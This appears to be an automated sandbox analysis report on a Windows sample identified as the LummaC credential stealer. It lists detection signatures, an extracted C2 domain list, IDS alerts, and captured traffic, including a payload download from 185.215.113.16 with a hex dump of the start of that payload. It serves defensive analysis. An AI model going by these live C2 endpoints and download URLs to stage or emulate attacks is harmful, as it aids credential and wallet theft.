Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1572070
MD5:	430241ea54c659cd093cbf48a09f8324
SHA1:	b9c512490e4f96ad0851fae682719a51bd3088a6
SHA256:	88cf30a71ad167f40a9bf9b1cc7b8b68429c712bfda9afa3d495345394c3a76b
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7672 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 430241EA54C659CD093CBF48A09F8324)

chrome.exe (PID: 3452 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2196 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2000,i,1216754078146385774,10229493209722040529,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3916 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3396 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1992 --field-trial-handle=1912,i,604844754400546149,4570885901595365949,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["formy-spill.biz", "covery-mover.biz", "dwell-exclaim.biz", "print-vexer.biz", "atten-supporse.biz", "zinc-sneark.biz", "dare-curbys.biz", "impend-differ.biz", "se-blurry.biz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000003.1614564165.00000000014F2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.1664427486.00000000014F2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.1639125954.00000000014F2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.1637781834.00000000014F2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7672	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7672	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7672	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7672	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 4 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T03:41:16.241503+0100	2028371	3	Unknown Traffic	192.168.2.7	49706	104.21.32.1	443	TCP
2024-12-10T03:41:20.522745+0100	2028371	3	Unknown Traffic	192.168.2.7	49708	104.21.32.1	443	TCP
2024-12-10T03:41:24.711170+0100	2028371	3	Unknown Traffic	192.168.2.7	49714	104.21.32.1	443	TCP
2024-12-10T03:41:48.449801+0100	2028371	3	Unknown Traffic	192.168.2.7	49775	104.21.32.1	443	TCP
2024-12-10T03:41:50.807067+0100	2028371	3	Unknown Traffic	192.168.2.7	49781	104.21.32.1	443	TCP
2024-12-10T03:41:53.737047+0100	2028371	3	Unknown Traffic	192.168.2.7	49792	104.21.32.1	443	TCP
2024-12-10T03:41:56.059120+0100	2028371	3	Unknown Traffic	192.168.2.7	49798	104.21.32.1	443	TCP
2024-12-10T03:42:01.724107+0100	2028371	3	Unknown Traffic	192.168.2.7	49809	104.21.32.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T03:41:18.662182+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49706	104.21.32.1	443	TCP
2024-12-10T03:41:22.384863+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49708	104.21.32.1	443	TCP
2024-12-10T03:42:03.591361+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49809	104.21.32.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T03:41:18.662182+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49706	104.21.32.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T03:41:22.384863+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49708	104.21.32.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T03:41:16.241503+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49706	104.21.32.1	443	TCP
2024-12-10T03:41:20.522745+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49708	104.21.32.1	443	TCP
2024-12-10T03:41:24.711170+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49714	104.21.32.1	443	TCP
2024-12-10T03:41:48.449801+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49775	104.21.32.1	443	TCP
2024-12-10T03:41:50.807067+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49781	104.21.32.1	443	TCP
2024-12-10T03:41:53.737047+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49792	104.21.32.1	443	TCP
2024-12-10T03:41:56.059120+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49798	104.21.32.1	443	TCP
2024-12-10T03:42:01.724107+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49809	104.21.32.1	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T03:42:05.039151+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49820	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T03:41:14.775593+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.7	53488	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T03:41:49.385518+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49775	104.21.32.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://atten-supporse.biz/S	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apiI	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apiu	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apiS	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/;	Avira URL Cloud: Label: malware

Found malware configuration

Source: file.exe.7672.4.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["formy-spill.biz", "covery-mover.biz", "dwell-exclaim.biz", "print-vexer.biz", "atten-supporse.biz", "zinc-sneark.biz", "dare-curbys.biz", "impend-differ.biz", "se-blurry.biz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for domain / URL

Source: https://atten-supporse.biz/;	Virustotal: Detection: 5%			Perma Link
Source: https://atten-supporse.biz/S	Virustotal: Detection: 10%			Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 51%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000004.00000002.1939836715.00000000005B1000.00000040.00000001.01000000.00000004.sdmp	String decryptor: impend-differ.biz
Source: 00000004.00000002.1939836715.00000000005B1000.00000040.00000001.01000000.00000004.sdmp	String decryptor: print-vexer.biz
Source: 00000004.00000002.1939836715.00000000005B1000.00000040.00000001.01000000.00000004.sdmp	String decryptor: dare-curbys.biz
Source: 00000004.00000002.1939836715.00000000005B1000.00000040.00000001.01000000.00000004.sdmp	String decryptor: covery-mover.biz
Source: 00000004.00000002.1939836715.00000000005B1000.00000040.00000001.01000000.00000004.sdmp	String decryptor: formy-spill.biz
Source: 00000004.00000002.1939836715.00000000005B1000.00000040.00000001.01000000.00000004.sdmp	String decryptor: dwell-exclaim.biz
Source: 00000004.00000002.1939836715.00000000005B1000.00000040.00000001.01000000.00000004.sdmp	String decryptor: zinc-sneark.biz
Source: 00000004.00000002.1939836715.00000000005B1000.00000040.00000001.01000000.00000004.sdmp	String decryptor: se-blurry.biz
Source: 00000004.00000002.1939836715.00000000005B1000.00000040.00000001.01000000.00000004.sdmp	String decryptor: atten-supporse.biz
Source: 00000004.00000002.1939836715.00000000005B1000.00000040.00000001.01000000.00000004.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000004.00000002.1939836715.00000000005B1000.00000040.00000001.01000000.00000004.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000004.00000002.1939836715.00000000005B1000.00000040.00000001.01000000.00000004.sdmp	String decryptor: - Screen Resoluton:
Source: 00000004.00000002.1939836715.00000000005B1000.00000040.00000001.01000000.00000004.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000004.00000002.1939836715.00000000005B1000.00000040.00000001.01000000.00000004.sdmp	String decryptor: Workgroup: -
Source: 00000004.00000002.1939836715.00000000005B1000.00000040.00000001.01000000.00000004.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49809 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1855363911.0000000008580000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.7:53488 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49708 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49706 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49714 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49781 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49792 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49798 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49809 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49775 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49706 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49708 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49706 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49708 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49775 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49809 -> 104.21.32.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: atten-supporse.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: se-blurry.biz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 02:42:04 GMTContent-Type: application/octet-streamContent-Length: 2780672Last-Modified: Tue, 10 Dec 2024 02:24:33 GMTConnection: keep-aliveETag: "6757a661-2a6e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 1e 8d 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 62 7a 76 72 6b 70 76 00 20 2a 00 00 a0 00 00 00 0e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 6e 65 68 64 6e 75 63 00 20 00 00 00 c0 2a 00 00 04 00 00 00 48 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 4c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49708 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49706 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49714 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49781 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49792 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49798 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49809 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49820 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49775 -> 104.21.32.1:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let 